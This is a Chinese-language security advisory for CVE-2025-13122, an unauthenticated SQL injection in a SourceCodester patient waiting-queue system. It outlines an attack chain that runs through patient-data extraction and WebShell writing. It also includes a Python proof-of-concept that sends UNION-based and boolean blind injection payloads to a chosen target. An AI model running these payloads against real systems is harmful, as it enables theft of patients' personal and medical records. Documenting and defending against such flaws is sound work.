IPBUF安全漏洞报告
English
CVE-2025-13122 CVSS 7.3 高危

CVE-2025-13122: SourceCodester Patients Waiting Area Queue Management System SQL注入漏洞

披露日期: 2025-11-13

漏洞信息

漏洞编号
CVE-2025-13122
漏洞类型
SQL注入
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
SourceCodester Patients Waiting Area Queue Management System 1.0

相关标签

SQL注入CVE-2025-13122SourceCodesterPatients Waiting Area Queue Management System远程代码执行高危漏洞无需认证api_patient_checkin.phpgetPatientAppointment医疗系统

漏洞概述

CVE-2025-13122是SourceCodester公司开发的Patients Waiting Area Queue Management System 1.0版本中的一个高危SQL注入漏洞。该系统是一款用于医疗机构管理患者候诊排队的管理系统。漏洞存在于/php/api_patient_checkin.php文件中的getPatientAppointment函数,该函数在处理用户提交的appointmentID参数时未进行充分的输入验证和SQL语句参数化,直接将用户可控的参数拼接到SQL查询语句中。攻击者可以通过构造恶意的appointmentID参数值,注入任意SQL代码,从而实现对数据库的未授权访问、敏感数据窃取、数据篡改等操作。由于该漏洞的CVSS评分为7.3,属于高危级别,且攻击向量为网络攻击,无需任何认证即可发起攻击,因此该漏洞具有极高的危害性。漏洞利用代码已在互联网公开,攻击者可以轻易获取并利用此漏洞对目标系统发起攻击。建议受影响用户尽快采取修复措施,避免造成严重的数据安全事件。

技术细节

该SQL注入漏洞存在于SourceCodester Patients Waiting Area Queue Management System的/php/api_patient_checkin.php文件中的getPatientAppointment函数。漏洞产生的根本原因是在处理HTTP请求中的appointmentID参数时,程序直接将该参数值拼接到SQL查询语句中,而未进行任何输入过滤或参数化查询。攻击者可以通过HTTP GET或POST请求,构造包含SQL注入载荷的appointmentID参数值。典型的注入载荷包括:使用UNION SELECT语句获取数据库版本、当前数据库名称、用户信息等敏感数据;使用布尔型盲注技术通过响应时间的差异推断数据库内容;使用时间型盲注通过SLEEP()函数延迟响应来确认注入点等。由于该接口无需认证即可访问,攻击者可以直接向服务器发送恶意请求,无需任何前置条件即可利用此漏洞。成功利用后,攻击者可以获取数据库中存储的患者个人信息、就诊记录、联系方式等敏感数据,甚至可以通过LOAD_FILE()或INTO OUTFILE等函数读取服务器敏感文件或写入恶意文件,实现进一步的入侵行为。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标系统使用的技术栈,确认目标网站使用SourceCodester Patients Waiting Area Queue Management System 1.0,并找到可访问的/api_patient_checkin.php接口
STEP 2
步骤2: 漏洞探测
攻击者向/php/api_patient_checkin.php发送带有特殊构造参数的HTTP请求,通过输入单引号、UNION SELECT等SQL语句测试接口是否存在SQL注入漏洞
STEP 3
步骤3: 注入点确认
通过观察服务器响应判断注入点,确认appointmentID参数存在SQL注入漏洞,可使用布尔型盲注、时间型盲注或UNION联合查询等方式进行利用
STEP 4
步骤4: 数据库信息获取
使用SQL注入载荷获取目标数据库的版本信息、数据库名称、当前用户权限等基础信息,为后续数据提取做准备
STEP 5
步骤5: 敏感数据提取
通过SQL注入查询系统数据库,获取患者个人信息(姓名、联系方式、身份证号)、就诊记录、预约信息等敏感数据
STEP 6
步骤6: 权限提升与持久化
根据数据库用户权限,尝试通过LOAD_FILE()读取服务器敏感配置文件,或通过INTO OUTFILE写入WebShell实现服务器持久化控制

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-13122 PoC - SQL Injection in SourceCodester Patients Waiting Area Queue Management System Affected File: /php/api_patient_checkin.php Vulnerable Function: getPatientAppointment Vulnerable Parameter: appointmentID """ import requests import sys def test_sql_injection(url, param_value): """Test for SQL injection vulnerability""" target_url = f"{url}/php/api_patient_checkin.php" params = {'appointmentID': param_value} try: response = requests.get(target_url, params=params, timeout=10) return response except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None def basic_injection_test(url): """Basic injection test with single quote""" print("[*] Testing basic SQL injection...") payload = "'" response = test_sql_injection(url, payload) if response and ("error" in response.text.lower() or "sql" in response.text.lower() or response.status_code != 200): print("[+] Potential SQL injection detected!") return True return False def union_based_injection(url): """UNION-based SQL injection to extract database info""" print("[*] Testing UNION-based SQL injection...") # Get database version payload = "' UNION SELECT NULL,version(),user(),database() --" response = test_sql_injection(url, payload) if response: print(f"[+] Response: {response.text[:500]}") return response def boolean_blind_injection(url): """Boolean-based blind SQL injection test""" print("[*] Testing boolean-based blind SQL injection...") # True condition true_payload = "' AND 1=1 --" # False condition false_payload = "' AND 1=2 --" true_response = test_sql_injection(url, true_payload) false_response = test_sql_injection(url, false_payload) if true_response and false_response: if len(true_response.text) != len(false_response.text): print("[+] Boolean-based blind SQL injection confirmed!") return True return False def main(): if len(sys.argv) < 2: print(f"Usage: python3 {sys.argv[0]} <target_url>") print(f"Example: python3 {sys.argv[0]} http://target.com") sys.exit(1) target_url = sys.argv[1].rstrip('/') print(f"[*] Target: {target_url}") print(f"[*] CVE: CVE-2025-13122") print(f"[*] Vulnerability: SQL Injection in api_patient_checkin.php") print("-" * 50) basic_injection_test(target_url) union_based_injection(target_url) boolean_blind_injection(target_url) print("\n[*] PoC completed. Manual verification recommended.") if __name__ == "__main__": main()

影响范围

SourceCodester Patients Waiting Area Queue Management System 1.0

防御指南

临时缓解措施
在等待官方安全补丁发布期间,建议采取以下临时缓解措施:首先,通过Web服务器配置(如Nginx/Apache的URL重写规则)限制对/php/api_patient_checkin.php接口的访问,仅允许必要的业务IP地址访问;其次,在应用层代码中临时添加输入过滤逻辑,对appointmentID参数进行严格的正则表达式校验,移除所有SQL关键字和特殊字符;最后,建议在数据库前端部署数据库防火墙或审计系统,监控和阻断异常的SQL查询行为,降低数据泄露风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表